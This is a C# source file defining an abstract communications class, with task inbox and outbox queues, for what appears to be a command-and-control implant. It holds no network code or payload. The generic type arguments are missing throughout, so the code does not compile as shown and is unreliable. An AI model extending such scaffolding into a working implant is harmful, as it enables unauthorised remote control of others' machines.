using System.Collections.Concurrent; using System.Collections.Generic; using System.Threading.Tasks; namespace Implant.Models { public abstract class Comms { public abstract Task Start(); public abstract void Stop(); protected ConcurrentQueue TaskInbound = new ConcurrentQueue(); protected ConcurrentQueue TaskOut = new ConcurrentQueue(); protected ImplantData _implantData; public virtual void ImplantInit(ImplantData implantData) { _implantData = implantData; } protected IEnumerable GetTaskOut() { var taskOut = new List(); while (TaskOut.TryDequeue(out var tasks)) { taskOut.Add(tasks); } return taskOut; } public bool DataRecv(out IEnumerable tasks) { if (TaskInbound.IsEmpty) { tasks = null; return false; } var taskList = new List(); while(TaskInbound.TryDequeue(out var task)) { taskList.Add(task); } tasks = taskList; return true; } public void DataSend(ImplantTaskOut taskOut) { TaskOut.Enqueue(taskOut); } } }